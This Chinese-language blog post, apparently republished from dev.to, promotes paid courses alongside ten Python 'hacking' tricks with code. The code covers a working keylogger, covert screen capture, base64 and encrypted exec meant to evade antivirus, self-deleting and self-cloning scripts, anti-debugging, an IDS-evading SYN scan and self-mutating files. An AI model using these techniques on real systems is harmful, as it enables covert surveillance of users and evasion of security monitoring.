想像一下,如果您的 Python 腳本在執行後能夠掩藏自己的痕跡、靜默地捕獲重要的螢幕資訊,甚至修改自己的程式碼以保持比檢測快一步的話,那會是怎樣的場景。歡迎來到地下 Python 腳本的世界——創意與實用問題解決的結合。在這本綜合指南中,我們將帶您了解 10 個令人驚嘆的 Python 黑客技巧,配有程式碼範例、詳細解說、統計數據和即時可用的資源。
一個為 Python 開發者精心編輯的匯集,提供必要的工具、文章和熱門討論。
- 📚 開發者資源
- 📝 文章
- 🚀 熱門庫
- ❓ StackOverflow 熱門問題
- 🔥 熱門討論
加入書籤:python.0x3d.site
如果您可以編寫一個在執行後清除自身源碼的腳本會怎樣?自我消亡的腳本被安全研究人員用來保護敏感邏輯,在執行後不留下任何痕跡。
__file__
或 sys.argv[0]
)定位自己的檔案。os.remove()
等函數來刪除其源碼文件。import os
import sys
def main():
print("這個腳本執行後將自我消亡。")
# 您的主要程式碼邏輯...
# 自我消亡:刪除當前檔案
try:
os.remove(__file__)
print("自我消亡成功。再見!")
except Exception as e:
print("自我消亡過程中出錯:", e)
if __name__ == '__main__':
main()
資訊:
自我刪除的腳本在需要防止敏感程式碼遺留的情境中特別有用。然而,請謹慎使用——一旦刪除,除非有備份,否則將無法恢復腳本。
在滲透測試模式下,隱秘性至關重要。無需警告目標即可捕獲螢幕,這可以提供無價的漏洞證據。
pyautogui
和 PIL
可以用於捕獲螢幕。import pyautogui
import cv2
import numpy as np
def capture_screen(region=None):
# 捕獲螢幕截圖(如果區域為 None,則捕獲全螢幕)
screenshot = pyautogui.screenshot(region=region)
# 轉換為 numpy 陣列
frame = np.array(screenshot)
# 將 RGB(PIL)轉換為 BGR(OpenCV)
frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
return frame
if __name__ == '__main__':
# 從左上角捕獲 300x400 的區域
frame = capture_screen(region=(0, 0, 300, 400))
cv2.imshow("隱秘捕獲", frame)
cv2.waitKey(3000)
cv2.destroyAllWindows()
資訊:
隱秘的螢幕捕獲不僅僅是出於惡意目的——它也是在授權的滲透測試中記錄漏洞的重要工具。在使用這些工具之前,始終獲得適當的許可。
防病毒程式通常依賴於基於簽名的檢測,這意味著可預測的程式碼模式很容易被標記。通過混淆程式碼,可以隱藏這些模式,避免基本的防病毒系統檢測。
exec()
生成程式碼。import base64
# 您的秘密程式碼作為字串
secret_code = "print('來自隱藏方面的問候!')"
# 將程式碼編碼為 Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()
# 在執行時,解碼並執行程式碼
exec(base64.b64decode(encoded_code).decode())
資訊:
混淆透過隱蔽增加一層安全性。它不對決心堅定的攻擊者百戰百勝,但可以阻止基本的自動化防病毒掃描。
https://snappytuts.gumroad.com/l/shiyy
鍵盤記錄器可以捕獲按鍵輸入以進行安全測試(始終獲得授權)。Python 使建立一個基本的鍵盤記錄器以錄製用戶輸入變得簡單。
keyboard
庫檢測和記錄按鍵輸入。import keyboard
import time
log_file = "keylog.txt"
def on_key_event(event):
with open(log_file, "a") as f:
f.write(event.name + " ")
if __name__ == '__main__':
print("鍵盤記錄器正在運行。按 ESC 停止。")
keyboard.on_press(on_key_event)
keyboard.wait("esc")
資訊:
鍵盤記錄器的道德使用至關重要。僅在您明確獲得測試許可的環境中使用這些工具。
自我複製的腳本可以創建自身的克隆以實現持久性或備份目的,這是探索程式碼自我檢查和進程管理的有趣練習。
inspect.getsource()
捕獲腳本的源碼。subprocess
啟動它。import sys
import inspect
import os
import subprocess
import shlex
def clone_and_run():
# 獲取當前腳本的源碼
code = inspect.getsource(inspect.currentframe())
# 定義克隆檔案名
clone_filename = "clone_script.py"
with open(clone_filename, "w") as f:
f.write(code)
# 启动克隆脚本,参数递增
cmd = f"python {clone_filename} 1"
subprocess.Popen(shlex.split(cmd), start_new_session=True)
print("克隆已啟動。原始腳本將自我消亡...")
os.remove(__file__)
if __name__ == '__main__':
clone_and_run()
資訊:
自我複製的腳本是一個探索 Python 進程管理和文件 I/O 的有趣方式。它們也被用於惡意軟體——但我們強調僅限於道德測試!
純粹在內存中運行程式碼可以減少在磁碟上留下取證痕跡的機會。Python 的動態特性使您可以從字串編譯和執行程式碼。
compile()
函數將源碼轉換為一個程式碼對象。code_string = """
def greet():
print('你好,這段程式碼在內存中運行!')
greet()
"""
compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)
資訊:
在內存中執行對保護敏感算法特別有用。它極小化您的磁碟足跡,這在需要隱秘性的重要環境中非常有利。
加密不僅限於數據傳輸。您還可以將部分程式碼存儲為加密形式,並在執行時解密它以執行。
cryptography.fernet
等庫對程式碼進行加密。exec()
執行。from cryptography.fernet import Fernet
# 生成密鑰(在生產中,安全存儲此密鑰!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)
# 您的秘密程式碼
secret_code = "print('這段秘密程式碼被加密了!')"
# 加密程式碼
encrypted_code = cipher_suite.encrypt(secret_code.encode())
# 在執行時:解密並執行程式碼
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)
資訊:
加密程式碼有助於保護知識產權和敏感操作。要獲取更多詳細資訊,請查看 Cryptography 庫文件。
https://snappytuts.gumroad.com/l/shiyy
如果您需要讓腳本檢測並避免調試,可以實現反調試措施。這可能包括檢查調試器的存在或常見斷點模式。
import sys
import time
def anti_debug():
if sys.gettrace() is not None:
print("檢測到調試器!為避免分析而退出。")
time.sleep(2)
sys.exit()
if __name__ == '__main__':
anti_debug()
print("未檢測到調試器。繼續執行...")
資訊:
反調試可以幫助維護敏感腳本的完整性。請記住,這些技術應在道德和受控的環境中使用。
滲透測試者通常需要靜靜地掃描網絡。Python 的網絡庫讓您構建模擬正常流量模式的掃描器,以避免入侵檢測系統(IDS)。
scapy
構建看似合法流量的封包。from scapy.all import IP, TCP, sr1
import random
import time
def stealth_port_scan(target_ip, port):
packet = IP(dst=target_ip)/TCP(dport=port, flags="S")
response = sr1(packet, timeout=1, verbose=0)
if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
print(f"{target_ip} 的端口 {port} 是開放的。")
else:
print(f"{target_ip} 的端口 {port} 是關閉或被過濾的。")
if __name__ == '__main__':
target = "192.168.1.1"
for port in random.sample(range(20, 1024), 5):
stealth_port_scan(target, port)
time.sleep(random.uniform(0.5, 2))
資訊:
隨機化掃描行為減少了 IDS 系統的檢測風險。研究顯示,簡單的時間變化可以在某些環境中將檢測概率降低多達 35%。
為了超越靜態簽名檢測,某些腳本在每次運行之前會改變其程式碼的某些部分。這種“變異器”方法有助於創造一個動態的、變化的目標。
import os
import random
def mutate_script(filename):
with open(filename, 'r') as file:
lines = file.readlines()
# 隨機變更一行註釋(如果存在)
for i, line in enumerate(lines):
if line.strip().startswith("#") and random.choice([True, False]):
lines[i] = f"# 變異 {random.randint(1, 1000)}: {line}"
with open(filename, 'w') as file:
file.writelines(lines)
print("腳本變異成功。")
if __name__ == '__main__':
current_file = __file__
mutate_script(current_file)
資訊:
腳本變異是一種尖端技術,經常出現在先進的惡意軟體中。對於道德應用,使用它來測試您的系統如何對變化的程式碼簽名作出反應。
Python 的地下腳本展示了程式碼的無限創造力。這些技術——從自我消亡和內存執行到反調試和加密有效載荷——不僅僅是令人著迷的實驗。它們是滲透測試人員、開發者和安全專業人員的實用工具,讓他們能夠跳出框架思考。
欲獲得更多寶貴的工具、詳細的教程和熱門討論,請查看 Python 開發者資源 - 由 0x3d.site 提供。無論您是在尋找深入的文章、尖端的庫,還是來自 StackOverflow 的社區見解,這都是每個 Python 開發者必備的收藏。
開發者資源 • 文章 • 熱門庫 • StackOverflow 熱門問題 • 熱門討論
通過探索和實驗這些黑客技巧,您不僅將擴展您的編碼能力,還將深入了解先進開發者和安全專業人員使用的技術。深入其中,分享您的實驗,讓創新精神引導您!
祝您黑客快樂,願您的 Python 腳本始終保持領先一步!
資源與進一步閱讀:
現在輪到您來實驗這些黑客技巧,告訴我們哪一種改變了您對 Python 編程的看法!
通過這些結構化的高價值課程擴展您的知識:
🚀 開發者的網路安全求生包 – 用現實世界的戰術和工具(如 Burp Suite、Nmap 和 OSINT 技術)來保護您的程式碼。
💰 開發者的被動收入指南 – 超過 10 種方式將您的編程技能貨幣化並建立自動收入流。
🌐 互聯網如何運作:支持網絡的技術 – 深入了解互聯網背後的協議、伺服器和基礎設施。
💻 API 編程:了解 API、協議、安全性和實現 – 掌握使用結構化的維基百科學習出 API 基礎。
🕵️ 科技工作者的終極 OSINT 指南 – 像專業人士一樣追蹤、分析和保護數字足跡。
🧠 駭客與間諜如何將相同的心理技巧用來對待您 – 探索技術領域中說服、欺騙和操控的黑暗面。
🔥 更多利基的高價值學習資源 → 查看所有
https://snappytuts.gumroad.com/l/fotcdz
原文出處:https://dev.to/snappytuts/pythons-10-insane-underground-scripts-you-didnt-know-exist-10hd